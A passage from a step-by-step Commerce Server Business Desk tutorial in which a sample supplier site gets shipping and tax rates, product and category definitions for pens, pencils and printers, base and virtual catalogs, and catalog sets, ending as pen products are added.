    You have created a shipping rate in which 15 dollars will be charged to individual orders totaling more than 20 dollars. In this scenario, 20 dollars is the maximum amount that will be charged to ship an individual order.

  12. To save the shipping rates and return to the Shipping Methods screen, click Save and go back on the toolbar.

The shipping rates are saved and will be applied to purchases made from the SupplierAD Web site. Proceed to Lesson 2: Adding a Tax Rate to the Supplier Site.


Lesson 2: Adding a Tax Rate

Because the items that will be purchased from the SupplierAD site are not for resale, the local tax rate for the ship-to location applies. In this lesson, you will add a tax rate to the SupplierAD site that pertains to the tax rate in Washington State. For the purposes of this scenario, you will define one tax rate for Washington State.

  1. In Business Desk, in the Orders module, click Tax Rates.
  2. In the Tax screen, click New, and then do the following:
    Use this | To do this
    Country/Region | Select United States of America from the drop-down list.
    State/Province | Select Washington from the drop-down list.
    Tax rate (%) | Type 10.
  3. Click Accept.
  4. To save the new tax rate and return to the Commerce Server: Welcome to Business Desk screen, click Save and go back on the toolbar.

The tax rate of 10 percent is saved and will be applied to purchases shipped to Washington State addresses. Proceed to Lesson 3: Publishing Tax Rates and Shipping Methods.


Lesson 3: Publishing Tax Rates and Shipping Methods

If your SupplierAD site was accessed before you created the shipping method and tax rate in Lessons 1 and 2 of this lab, you will need to publish your shipping method and tax rate to the SupplierAD site. For example, your system administrator may have accessed the SupplierAD site when setting up this tutorial. To determine whether tax rates and shipping codes need to be published to your site, proceed to Step 1: Viewing Order Codes, where you will view the status of the production caches using the Publish Order Codes module.

  • Step 1: Viewing Order Codes
  • Step 2: Publishing Order Codes


Step 1: Viewing Order Codes

  1. In Business Desk, expand the Orders module, and then click Publish Order Codes.

    The Publish Order Codes screen appears.

  2. If there are no entries in the Production Items list, then you do not need to publish your order codes and you can proceed to Lab 2: Building Your SupplierAD Catalogs. Otherwise, proceed to Step 2: Publishing Order Codes to publish your shipping method and tax rate to your SupplierAD site.


Step 2: Publishing Order Codes

  1. In the Publish Order Codes screen, select all entries in the Production Items list.
  2. Click Publish on the toolbar.
  3. Your order codes, which contain the shipping method and tax rate that you created earlier in this lab are published to your SupplierAD site. Proceed to Lab 2: Building Your SupplierAD Catalogs.


Lab 2: Building Your SupplierAD Catalogs

In this lab, you will configure catalog definitions for the products that you will later add to your catalogs. You will then create a base catalog for both of your product groups, and then add products to them. Finally, you will create a catalog set for each product group, and a virtual catalog containing both base catalogs.

Each of the lessons listed below is a prerequisite for the subsequent lesson. It is important to complete each lesson in the order listed:

  • Lesson 1: Creating a Catalog Definition
  • Lesson 2: Creating Base Catalogs for Product Groups
  • Lesson 3: Creating a Virtual Catalog for the SupplierAD Site
  • Lesson 4: Creating Categories for your SupplierAD site
  • Lesson 5: Creating Catalog Sets


Lesson 1: Creating a Catalog Definition

Scenario: You want to create a base catalog for each of your product groups, so that you can publish their products on your site. The first step in creating catalogs is creating a catalog definition. A catalog definition is comprised of one or more category and product definitions. Category and product definitions are comprised of property definitions.

In step 1 of this lesson, you create category definitions called pens and pencils. The category definitions are used to organize products on your Web site. In steps 2 and 3 of this lesson, you will create product and property definitions, which you will use in Lab 3 when adding products to your catalogs.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Creating category definitions
  • Step 2: Creating the Pencil product definition
  • Step 3: Creating the Pen product definition


Step 1: Creating category definitions

The category definitions that you create in this step are used to organize products into categories on your Web site. In this step you will create two categories: Pens and Pencils. Later in Lab 3, you will add products to these categories.

To create the Pens category definition

  1. In Business Desk, expand the Catalogs module, and then click Catalog Definition Designer.

    The Catalog Definition Designer: Category Definitions screen appears.

  2. Click New.
  3. In the Category Definition: New screen, in the Category Definition Properties section, in the Name text box, type Pens.
  4. In the Category Properties section, in the Available properties list, select Description and then click Add.

    The Description property is moved to the Assigned properties list.

  5. To save the category definition and create a new category definition, click save and create new on the toolbar.

To create the Pencils category definition

  1. In the Category Definition: New screen, in the Category Definition Properties section, in the Name text box, type Pencils.
  2. In the Category Properties section, in the Available properties list, select Description and click Add.

    The Description property is moved to the Assigned properties list.

  3. To save the category definition and create a new category definition, click save and create new on the toolbar.

To create the Printers category definition

  1. In the Category Definition: New screen, in the Category Definition Properties section, in the Name text box, type Printers.
  2. In the Category Properties section, in the Available properties list, select Description and click Add.

    The Description property is moved to the Assigned properties list.

  3. To save the Printers category definition and return to the Catalog Definition Designer: Category Definitions screen, click Save and go Back on the toolbar.

    The Catalog Definition Designer: Category Definitions screen appears. Notice that the three categories you created: Pens, Pencils, and Printers appear in the Name list box on this screen.

Note
  • Definition names must be unique across all category and product definitions. In this step, you used the plural form of the name Pen and Pencil (Pens and Pencils), because in Step 2: Creating the Pencil product definition and Step 3: Creating the Pen product definition, you will use the names Pencil and Pen as product definitions.

You have created the Pens and Pencils category definitions. Later, in Lab 3, you will add products to your catalogs using the category definitions that you have created in this step. Proceed to Step 2: Creating the Pencil product definition.


Step 2: Creating the Pencil product definition

A product definition provides a detailed way to describe a particular product that you want to add to your catalog. A product definition contains properties that are used to define or describe a product. For example, most product definitions may contain properties named "manufacturer" and "stock keeping unit" (SKU).

You can think of a product definition as a type of template. When products are added to a catalog, values are assigned to the properties that you assigned to the product definition. These property values both describe and uniquely distinguish a particular product variant.

In this step, you will create a product definition for the pencil product. You will then assign product variant properties and create new property definitions for your product definition. You will use the pencil product definition later in Lab 3 when adding pencil products to your catalogs.

To create the Pencil product definition

  1. In Business Desk, expand the Catalogs module, and then click Catalog Definition Designer.

    The Catalog Definition Designer: Category Definitions screen appears.

  2. From the toolbar, click View, and then select Product Definitions from the drop-down list.

    The Catalog Definition Designer: Product Definitions screen appears. Notice that there are already predefined product definitions available. You will use the Printer product definition later in this tutorial.

  3. Click New.
  4. In the Product Definition: New screen, in the Product Definition Properties section, in the Name text box, type Pencil.

You have named the new product definition Pencil. Next you will assign product variant properties to the Pencil product definition.

To assign product variant properties

  • In the Product Variant Properties section, in the Available properties list, select Manufacturer, hold down the CTRL key and click SKU, release the CTRL key and then click Add.

    The Manufacturer and SKU properties appear in the Assigned properties list in the Product Variant Properties section.

You have assigned the Manufacturer and SKU product variant properties to the Pencil product definition. Next you will create and define a new property definition for the pencil product.

To create the LeadColor property definition

  1. In the Product Variant Properties section, click New.
  2. In the New Property Definition dialog box, in the Type list box, select Multiple Choice and then click Continue.
  3. In the Property Definition: New (Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type LeadColor.
    Display on Site | Select the Yes check box.
    Default value Click ellipsis .

    The Multiple Choice Values dialog box appears.
  4. In the Multiple Choice Values dialog box, in the New value text box, type Black, and then click Add.
  5. In the Multiple Choice Values dialog box, in the New value text box, type Blue and then click Add.
  6. In the Multiple Choice Values dialog box, in the New value text box, type Red and then click Add.

    The Black, Blue, and Red values appear in the Values list in the Multiple Choice Values dialog box.

  7. Click OK to save your multiple choice values and return to the Property Definition: New (Multiple Choice) screen.
  8. In the Property Definition: New (Multiple Choice) screen, in the Properties section, select Black from the Default value drop-down list.
  9. In the Display in products list check box, select Yes.
  10. In the Property Definition: New (Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Lead Color.
  11. Click Accept.
  12. To save the property definition and create a new property definition, click save and create new on the toolbar.

    The New Property Definition dialog box appears.

You have created the LeadColor property definition, which will be used to describe the lead color of your Pencil product. Next you will create another new property definition called BodyColor.

To create the BodyColor property definition

  1. In the New Property Definition dialog box, in the Type list box, select Multiple Choice and then click Continue.
  2. In the Property Definition: New (Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type BodyColor.
    Display on Site | Select the Yes check box.
    Default value Click ellipsis .

    The Multiple Choice Values dialog box appears.
  3. In the Multiple Choice Values dialog box, in the New value text box, type Black and then click Add.
  4. In the Multiple Choice Values dialog box, in the New value text box, type Blue and then click Add.
  5. In the Multiple Choice Values dialog box, in the New value text box, type Red and then click Add.
  6. In the Multiple Choice Values dialog box, in the New value text box, type Yellow and then click Add.

    The Black, Blue, Red and Yellow values appear in the Values list in the Multiple Choice Values dialog box.

  7. Click OK to save your multiple choice values and return to the Property Definition: New (Multiple Choice) screen.
  8. In the Property Definition: New (Multiple Choice) screen, in the Properties section, select Yellow from the Default value drop-down list.
  9. In the Display in products list check box, select Yes.
  10. In the Property Definition: New (Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Body Color.
  11. Click Accept.
  12. To save the property definition and create a new property definition, click save and create new on the toolbar.

    The New Property Definition dialog box appears.

You have created the BodyColor property definition that is used to describe the body color of your pencil product. Next you will create a property definition called LeadSize.

To create the LeadSize property definition

  1. In the New Property Definition dialog box, in the Type list box, select Multiple Choice and then click Continue.
  2. In the Property Definition: New (Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type LeadSize.
    Display on Site | Select the Yes check box.
    Default value Click ellipsis .

    The Multiple Choice Values dialog box appears.
  3. In the Multiple Choice Values dialog box, in the New value text box, type #1 and then click Add.
  4. In the Multiple Choice Values dialog box, in the New value text box, type #2 and then click Add.

    The #1 and #2 values appear in the Values list in the Multiple Choice Values dialog box.

  5. Click OK to save your multiple choice values and return to the Property Definition: New (Multiple Choice) screen.
  6. In the Property Definition: New (Multiple Choice) screen, in the Properties section, select #2 from the Default value drop-down list.
  7. In the Display in products list check box, select the Yes check box.
  8. In the Property Definition: New (Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Lead Size.
  9. Click Accept.
  10. Click Save and go Back to save this property definition and return to the Product Definition: New screen.

    You have created the LeadSize property definition, which you will use to describe the lead size of your pencil product.

    The Product Definition: New screen appears. The Manufacturer, SKU, LeadColor, BodyColor, and LeadSize properties appear in the Assigned properties list in the Product Variant Properties section. Because property and product definitions are created at the site level, once a property definition is created, it can be used to define any product for any catalog on your site.

  11. Click save and go back to save the pencil product definition, and return to the Catalog Definition Designer: Product Definitions screen.

    You have created the Pencil product definition. Proceed to Step 3: Creating the Pen product definition, where you will re-use the BodyColor property definition that you created in this step when you create the Pen product definition.


Step 3: Creating the Pen product definition

In this step, you will create a product definition for the pen product. You will then assign product variant properties and create new property definitions for your product definition. You will use the pen product definition later in Lab 3 when adding pen products to your catalogs.

  1. In the Catalogs module, click Catalog Definition Designer.

    The Catalog Definition Designer: Category Definitions screen appears.

  2. On the toolbar, click View, and then select Product Definitions from the drop-down list.
  3. On the Catalog Definition Designer: Product Definitions screen, Click New.
  4. In the Product Definition: New screen, in the Product Definition Properties section, in the Name text box, type Pen.

You have created the Pen product definition. Next, you will assign product variant properties to the Pen product definition.

To assign product variant properties

  • In the Product Variant Properties section, in the Available properties list, select BodyColor, hold down the CTRL key and click Manufacturer and then click SKU, release the CTRL key, and then click Add.

    The BodyColor, Manufacturer, and SKU properties appear in the Assigned properties list in the Product Variant Properties section. You created the BodyColor property definition earlier in "Step 2: Creating the Pencil product definition".

You have assigned the BodyColor, Manufacturer, and SKU product variant properties to the Pen product definition. Next you will create and define a new property definition for the Pen product.

To create the InkColor property definition

  1. In the Product Variant Properties section, click New.
  2. In the New Property Definition dialog box, in the Type list, select Multiple Choice and then click Continue.
  3. In the Property Definition: New (Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type InkColor.
    Display on Site | Select the Yes check box.
    Default value Click ellipsis .

    The Multiple Choice Values dialog box appears.
  4. In the Multiple Choice Values dialog box, in the New value text box, type Black and then click Add.
  5. In the Multiple Choice Values dialog box, in the New value text box, type Blue and then click Add.
  6. In the Multiple Choice Values dialog box, in the New value text box, type Green and then click Add.
  7. In the Multiple Choice Values dialog box, in the New value text box, type Red and then click Add.
  8. In the Multiple Choice Values dialog box, in the New value text box, type Silver and then click Add

    The Black, Blue, Green, Red, and Silver values appear in the Values list in the Multiple Choice Values dialog box.

  9. Click OK to save the multiple choice values and return to the Property Definition: New (Multiple Choice) screen.
  10. In the Property Definition: New (Multiple Choice) screen, in the Properties section, select Blue from the Default value drop-down list.
  11. In the Display in products list check box, select the Yes check box.
  12. In the Property Definition: New (Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Ink Color.
  13. Click Accept.
  14. To save the InkColor property definition and create a new property definition, click save and create new .

    The New Property Definition dialog box appears.

You have created the InkColor property definition, which you will use to describe the ink color of your pen product.

To create the TipType property definition

  1. In the New Property Definition dialog box, in the Type list box, select Multiple Choice and click Continue.
  2. In the Property Definition: New (Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type TipType.
    Display on Site | Select the Yes check-box.
    Default value Click ellipsis .

    The Multiple Choice Values dialog box appears.
  3. In the Multiple Choice Values dialog box, in the New value text box, type Ball Point and then click Add.
  4. In the Multiple Choice Values dialog box, in the New value text box, type Felt Tip and then click Add.

    The Ball Point and Felt Tip values appear in the Values list in the Multiple Choice Values dialog box.

  5. Click OK to save the TipType multiple choice values and return to the Property Definition: New (Multiple Choice) screen.
  6. In the Property Definition: New (Multiple Choice) screen, in the Properties section, select Ball Point from the Default value drop-down list.
  7. In the Display in products list, select the Yes check box.
  8. In the Property Definition: New (Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Tip Type.
  9. Click Accept.
  10. Click save and go back on the toolbar to save the TipType property definition and return to the Product Definition: New screen.

    The Product Definition: New screen appears. The BodyColor, Manufacturer, SKU, InkColor, and TipType properties appear in the Assigned properties list box in the Product Variant Properties section. After a property definition is created, it can be used to define any product in any catalog.

    You have created the TipType property definition, which you will use to describe the tip type of your pen product.

  11. Click save and go back to save the Pen product definition and return to the Catalog Definition Designer: Product Definitions screen.

    Notice that the Pen and Pencil product definitions both appear in the Name list in the Catalog Definition Designer: Product Definitions screen.

Now that you have created your product definitions, proceed to Lesson 2: Creating Base Catalogs for Product Groups where you will create a base catalog for each product group.


Lesson 2: Creating Base Catalogs for Product Groups

In this lesson you will create a separate base catalog for each of your product groups: Office Supplies and Office Machines.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed below:

  • Step 1: Creating the Office Supplies base catalog
  • Step 2: Creating the Office Machines base catalog


Step 1: Creating the Office Supplies base catalog

  1. In the Catalogs module, click Catalog Editor.

    The Catalogs screen appears.

  2. On the toolbar, click New, and then select New Base Catalog from the list.
  3. In the Catalog Properties – New Base Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type Office Supplies.
    Currency | Select US Dollar – USD from the drop-down list.
    Product unique ID Select Label from the drop-down list.

    Note

    • The value of this property must be unique for each product.
    Product variant unique ID Select SKU from the drop-down list.

    Note

    • The value of this property must be unique for each product variant.

    Note

    • Because this scenario does not use multilingual catalogs, it may not be necessary to configure a default language in the Catalog Languages section of the New Base Catalog screen. It is not necessary to configure the default language, if you want the language of the catalog to be the same as the default language selected in Windows 2000 on the computer in which Commerce Server is running. When a default language is not configured for a catalog, the default language of Windows 2000, on the computer in which Commerce Server is running, is used. For the purpose of this tutorial, you will configure a default language.

To configure the default catalog language

For the purpose of this tutorial, you will select English - United States as the default language for the Office Supplies base catalog.

  1. In the Catalog Properties – New Base Catalog screen, expand the Catalog Languages section, and then click Add.
  2. In the Select Languages dialog box, In the Languages list, select English – United States, and then click Add.

    The language you selected appears in the Languages list in the Catalog Languages section in the Catalog Properties – New Base Catalog screen.

  3. In the Catalog Languages section, in the Default Language drop-down list, select English – United States.
  4. In the Catalog Languages section, in the Reporting Language drop-down list, select English – United States.
  5. Click save and go back to save the Office Supplies base catalog, and return to the Catalogs screen.

    The Catalogs screen appears. Notice that Office Supplies appears in the Name column of the Catalogs screen.

You have created the Office Supplies base catalog. Proceed to Step 2: Creating the Office Machines base catalog.


Step 2: Creating the Office Machines base catalog

  1. In Business Desk, in the Catalogs module, click Catalog Editor.
  2. In the Catalogs screen, on the toolbar, click New, and then select New Base Catalog from the list.
  3. In the Catalog Properties – New Base Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type Office Machines.
    Currency | Select US Dollar – USD from the drop-down list.
    Product unique ID | Select Label from the drop-down list.
    Product variant unique ID | Select SKU from the drop-down list.

To configure the default catalog language

For the purpose of this tutorial, you will select English - United States as the default language for the Office Machines base catalog.

  1. Expand the Catalog Languages section, and click Add.
  2. In the Select Languages dialog box, In the Languages list, select English – United States, and then click Add.

    The language you selected appears in the Languages list in the Catalog Languages section in the Catalog Properties – New Base Catalog screen.

  3. In the Catalog Languages section, in the Default Language drop-down list, select English – United States.
  4. In the Catalog Languages section, in the Reporting Language drop-down list, select English – United States.
  5. Click save and go back to save the Office Machines base catalog, and return to the Catalogs Screen.

    The Catalogs screen appears. Notice that Office Machines appears in the Name column of the Catalogs screen.

Now that you have created the Office Machines base catalog, proceed to Lesson 3: Creating a Virtual Catalog for the SupplierAD Site.


Lesson 3: Creating a Virtual Catalog for the SupplierAD Site

The purpose of a virtual catalog is to make multiple base catalogs appear on your Web site as if they were a single catalog. In this lesson you will create a virtual catalog and then add the Office Supplies and Office Machines base catalogs that you created in Lesson 2: Creating Base Catalogs for Product Groups, to your virtual catalog.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Creating the Virtual Catalog
  • Step 2: Adding Base Catalogs to the Virtual Catalog
  • Step 3: Rebuilding the virtual catalog


Step 1: Creating the virtual catalog

  1. In the Catalogs module, click Catalog Editor.
  2. In the Catalogs screen, click New on the toolbar, and select New Virtual Catalog from the drop-down list.
  3. In the Catalog Properties- New Virtual Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name Type Virtual Catalog.
    Note
    • This name appears as the catalog name on the SupplerAD site. For this tutorial, we will use the name "Virtual Catalog" so that you can easily identify it on the site. Normally, however, you would want to choose a more descriptive name.
    Currency | Select US Dollar – USD from the drop-down list.

To configure the default catalog language

  1. Select English - United States as the default language for the virtual catalog.
  2. Expand the Catalog Languages section, and click Add.
  3. In the Select Languages dialog box, in the Languages list, select English – United States from the list, and then click Add.

    The language you selected appears in the Languages list in the Catalog Languages section in the Catalog Properties – New Base Catalog screen.

  4. In the Catalog Languages section, in the Default Language drop-down list, select English – United States.
  5. In the Catalog Languages section, in the Reporting Language drop-down list, select English – United States.

To view the Security section

  1. Expand the Security section.

    Notice that the Permissions button in the Security section is unavailable. You must first save the virtual catalog before you can set permissions on the virtual catalog.

  2. On the toolbar, click Save.

    The message “Saving Please Wait” appears. When this message disappears, proceed to the next step.

  3. Expand the Security section.

    Notice that the Permissions button in the Security section is now available.

  4. Click Permissions.

    The Accounts dialog box appears.

    Note

    • The users and groups of users who are currently granted access to this catalog appear in the Account list box in the Accounts dialog box. You will learn about securing catalogs and modules in Lab 4 of this tutorial.
  5. In the Accounts dialog box, click Close.
  6. Click back to return to the Catalogs screen.

    Notice that Virtual Catalog appears in the Filtered View list in the Catalogs screen.

You have created your virtual catalog. Proceed to Step 2: Adding base catalogs to the virtual catalog, where you will add the Office Supplies and Office Machines base catalogs to the virtual catalog.


Step 2: Adding base catalogs to the virtual catalog

  1. In the Catalogs module, click Catalog Editor.
  2. In the Catalogs screen, in the Name column, select Virtual Catalog and then click open catalog on the toolbar.

    The Catalog Content – Virtual Catalog (English – United States) screen appears.

  3. In the Include / exclude section, click New, and then do the following:
    Use this | To do this
    Catalog Click ellipsis .

    The Catalog Picker dialog box appears.

    In the Catalog Picker dialog box, in the Catalog list box, select Office Supplies and then click Select.
    Rule | Select Include Catalog from the drop-down list.
  4. Click Done.

    Office Supplies appears in the Catalog column of the Include / exclude section in the Catalog Content – Virtual Catalog (English – United States) screen.

  5. In the Include / exclude section, click New, and then do the following:
    Use this | To do this
    Catalog Click ellipsis .

    The Catalog Picker dialog box appears.

    In the Catalog Picker dialog box, select Office Machines from the Catalog and then click Select.
    Rule | Select Include Catalog from the drop-down list.
  6. Click Done.

    Office Machines appears in the Catalog column of the Include / exclude section.

  7. Click save and go back to save the changes to your virtual catalog, and return to the Catalogs screen.

You have included the Office Supplies and Office Machines catalogs to your virtual catalog. Proceed to Step 3: Rebuilding the virtual catalog.


Step 3: Rebuilding the virtual catalog

When you make changes to a virtual catalog, such as including a base catalog, categories, or products, or editing one of the included base catalogs, you must rebuild the virtual catalog. Because you have added the Office Supplies and Office Machines base catalogs to your virtual catalog, and have finished creating categories, you will now rebuild your virtual catalog.

To rebuild the virtual catalog

  1. In the Catalogs module, click Catalog Editor.

    The Catalogs screen appears.

    Notes

    • Notice that "Requires rebuilding" appears in the Status column of the Virtual Catalog row. This indicates that the virtual catalog needs to be rebuilt.
    • When you rebuild a virtual catalog, any changes that were made to base catalogs that are contained in that virtual catalog, are also rebuilt.
  2. Select Virtual Catalog from the Filtered View list, and click rebuild to rebuild the catalogs and publish them to your site.
  3. In the Business Desk: Rebuild Catalog dialog box, click OK to close the dialog box and continue.

    In the Catalogs screen in the Status column for the Virtual Catalog row, the status displayed is "Rebuilding." To see an update of the status, you must refresh the screen. Allow time for Commerce Server to rebuild the catalog before proceeding to the next step.

  4. To refresh the screen, in the Catalogs module, click Catalog Editor.

The screen is refreshed and the status message for Virtual Catalog changes to "Up-to-date." Proceed to Lesson 4: Creating Categories for your SupplierAD Site.


Lesson 4: Creating Categories for your SupplierAD Site

In this lesson you will create a Pens and Pencils category for the Office Supplies catalog, and a Printers category for your Office Machines catalog. You will then rebuild the virtual catalog. These categories will be used to organize your products on the SupplierAD Web site.

  • Step 1: Creating categories for the Office Supplies catalog
  • Step 2: Creating categories for the Office Machines catalog
  • Step 3: Rebuilding and refreshing your virtual catalog


Step 1: Creating categories for the Office Supplies catalog

  1. In Catalogs, click Catalog Editor.

    The Catalogs screen appears.

  2. In the Filtered View list, select the Office Supplies base catalog and click open on the toolbar.

    The Catalog Content - Office Supplies (English - United States) screen appears.

  3. Expand Categories, and then click New.
  4. In the New Category dialog box, select Pencils, and then click Continue.
  5. In the Catalog Editor - Office Supplies (English - United States) - new (Pencils) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Pencils.
    Display name | Type Pencils Category.
    Description | Type The Pencils category.
    Searchable | Select the Yes check box.
  6. To save this category and create a new category for this base catalog, click save and create new on the toolbar.

    The message "Saving, please wait" appears. When this message disappears, proceed to the next step.

  7. In the Catalog Editor - Office Supplies (English - United States) - new (Pencils) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Pens.
    Display name | Type Pens Category.
    Description | Type The Pens category.
    Searchable | Select the Yes check box.
  8. To save this category and return to the Catalog Content - Office Supplies (English - United States) screen, click save and back on the toolbar.

    The Catalog Content - Office Supplies (English - United States) screen appears. Notice that in the Categories section of the Catalog Content - Office Supplies (English - United States) screen, the Pencils and Pens categories appear in the Categories list.

  9. Click back on the toolbar to return to the Catalogs screen.

The new category is created in the Office Supplies catalog. Proceed to Step 2: Creating categories for the Office Machines catalog.


Step 2: Creating categories for the Office Machines catalog

  1. In the Catalogs module, click Catalog Editor.
  2. In the Catalogs screen, in the Filtered View list, select the Office Machines base catalog and then click Open on the toolbar.

    The Catalog Content - Office Machines (English - United States) screen appears.

  3. Expand Categories , and then click New.
  4. In the New Category dialog box, select Printers, and then click Continue.
  5. In the Catalog Editor - Office Machines (English - United States) - new (Printers) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Printers.
    Display name | Type Printers Category.
    Description | Type The Printers category.
    Searchable | Select the Yes check box.
  6. To save the new category and return to the Catalog Content - Office Machines (English - United States) screen, click Save and go back on the toolbar.

    The message "Saving, please wait" appears, and then the Catalog Content - Office Machines (English - United States) screen appears. Notice that in the Categories section of the Catalog Content - Office Machines (English - United States) screen the Printers category appears in the Categories list.

  7. Click Back on the toolbar to return to the Catalogs screen.

    Notice in the Catalogs screen that the status for Virtual Catalog is "Requires-rebuilding". After adding a category, you must rebuild a virtual catalog before the category appears on your Web site. Proceed to Step 3: Rebuilding and refreshing your virtual catalog.


Step 3: Rebuilding and refreshing your virtual catalog

When you make changes to a virtual catalog, such as adding a base catalog, categories, or products, or editing one of the included base catalogs, you must rebuild the virtual catalog. Because you have added new categories to the Office Supplies and Office Machines base catalogs, you must now rebuild your virtual catalog.

To rebuild your virtual catalog

  1. In the Catalogs module, click Catalog Editor.

    The Catalogs screen appears.

    note Notes

    • In the Catalogs screen, notice that "Requires rebuilding" appears in the Status column of the Virtual Catalog row. This indicates that the virtual catalog needs to be rebuilt.
    • When you rebuild a virtual catalog, any changes that were made to the base catalogs, which are contained by the virtual catalog, are also rebuilt.
  2. Select Virtual Catalog and click rebuild to rebuild the catalogs and publish them to your site.
  3. In the Business Desk: Rebuild Catalog dialog box, click OK to close the dialog box and continue.

    In the Catalogs screen, in the Status column for the Virtual Catalog row the status displayed is "Rebuilding."

  4. To refresh the screen, in the Catalogs module, click Catalog Editor.

    The screen is refreshed and the status message for Virtual Catalog changes to "Up-to-date".

  5. To refresh your base catalogs, click Refresh on the toolbar.

    The message "Refreshing Catalogs" appears.

When the refresh is complete, proceed to Lesson 5: Creating Catalog Sets.


Lesson 5: Creating Catalog Sets

A catalog set is an organizational unit that contains one or more base catalogs that you can make available to different users or organizations.

Using catalog sets, you can control which catalogs a user or group of users can view on your site. You can also deny access to catalog sets for a particular Business Desk manager who is accessing Business Desk. This way you can control which catalogs a particular user can access and update.

Note

  • Catalog sets are an important organizational tool. Organizations and users can be granted access to a catalog set only; they cannot be granted access to a base or virtual catalog directly.

In this lesson, you will use the Catalog Sets module in Business Desk to create two catalog sets, one for each product group: Office Supplies and Office Machines. You will then assign the base catalog for each product group to their own catalog set. Later in Lab 4, you will configure limited access to these catalog sets for specific delegated administrators.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Creating the Office Supplies catalog set
  • Step 2: Creating the Office Machines catalog set


Step 1: Creating the Office Supplies catalog set

  1. In the Catalogs module, click Catalog Sets.
  2. In the Catalog Sets screen, click Add on the toolbar.
  3. In the New Catalog Set screen, do the following:
    Use this | To do this
    Name | Type Office Supplies.
    Description | Type Catalog set for the Office Supplies product group.
    Available Catalogs Select Office Supplies and then click Add.

    Office Supplies appears in the Assigned catalogs list box.
  4. Click save and go back on the toolbar to save the Office Supplies catalog set and return to the Catalog Sets screen.

    The Catalog Sets screen appears.

You have created the Office Supplies catalog set, and added the Office Supplies base catalog to this catalog set. Proceed to Step 2: Creating the Office Machines catalog set.


Step 2: Creating the Office Machines catalog set

  1. In Catalogs, click Catalog Sets.
  2. In the Catalog Sets screen, click Add on the toolbar.
  3. In the New Catalog Set screen, do the following:
    Use this | To do this
    Name | Type Office Machines.
    Description | Type Catalog Set for the Office Machines product group.
    Available Catalogs Select Office Machines and then click Add.

    Office Machines appears in the Assigned catalogs list box.
  4. Click save and go back on the toolbar to save the Office Machines catalog set and return to the Catalog Sets screen.

    Notice that Office Supplies and Office Machines both appear in the Name column of the Catalog Sets screen.

You have created and saved a catalog set for each product group, and assigned the appropriate base catalog to each catalog set. Proceed to Lab 3: Adding Products to Your Catalogs.


Lab 3: Adding Products to Your Catalogs

In this lab, you will add products to your Office Supplies and Office Machines base catalogs. You will then publish the changes to your catalogs to the SupplierAD site.

Each of the lessons listed below is a prerequisite for the subsequent lesson. It is important to complete each lesson in the order listed:

  • Lesson 1: Adding Products to Your Base Catalogs
  • Lesson 2: Rebuilding and Publishing Your Catalogs


Lesson 1: Adding Products to Your Base Catalogs

In this lesson you will add Pen and Pencil products to the Office Supplies catalog, and printer products to the Office Machines catalog.

Each of the steps listed below is a prerequisite for the subsequent step. It is important to complete each step in the order listed:

  • Step 1: Adding a Ball Point Pen product to the Office Supplies catalog
  • Step 2: Adding a Felt Tip Pen product in the Office Supplies catalog
  • Step 3: Adding a Pencil product to the Office Supplies catalog
  • Step 4: Adding a Printer product to the Office Machines catalog


Step 1: Adding a Ball Point Pen product to the Office Supplies catalog

  1. In the Catalogs module, click Catalog Editor.
  2. In the Catalogs screen, select Office Supplies from the Name column, and then click Open on the toolbar to open the Office Supplies catalog.
  3. In the Catalog Content – Office Supplies (English – United States) screen, in the Products section, click New.
  4. In the New Product dialog box, select Pen from the list, and then click OK.
  5. In the Catalog Editor – Office Supplies (English – United States) – new (Pen) screen, in the Product Properties section, do the following:
    Use this | To do this
    Label | Type Pen - Ball Point.
    Name | Type Ball Point Pen.
    Description | Type The ball point pen product.
  6. Expand the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type bpp01.
    Body Color | Select Black from the drop-down list.
    Manufacturer | Type Office Supplies.
    InkColor | Select Black from the drop-down list.
    TipType | Select Ball Point from the drop-down list.
    Variant price | Type .99.
  7. Click Done.

    The Ball Point pen product, SKU bpp01, appears in the Product Variants list.

  8. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type bpp02.
    Body Color | Select Blue from the drop-down list.
    Manufacturer | Type Office Supplies.
    InkColor | Select Blue from the drop-down list.
    TipType | Select Ball Point from the drop-down list.
    Variant price | Type .99.
  9. Click Done.

    The Ball Point pen product, SKU bpp02, appears in the Product Variants list.

To assign this product to the Pens category

  1. Expand the Assigned Categories section.
  2. In the Assigned Categories section, in the Available categories list, select Pens and then click Add.

    The Pens category appears in the Assigned categories list.

To save your changes

  1. Click save and go back on the toolbar to return to the Catalog Content – Office Supplies (English – United States) screen.

    The message "Saving, please wait" appears.

  2. In the Catalog Content – Office Supplies (English – United States) screen, in the Products section, click Find Now.

    The Pen - Ball Point product you just created appears in the Products section, in the Products list-box.

Proceed to Step 2: Adding Felt Tip Pen product to the Office Supplies catalog, where you will add two felt tip pen product variants to your base catalog.


Step 2: Adding a Felt Tip Pen product to the Office Supplies catalog

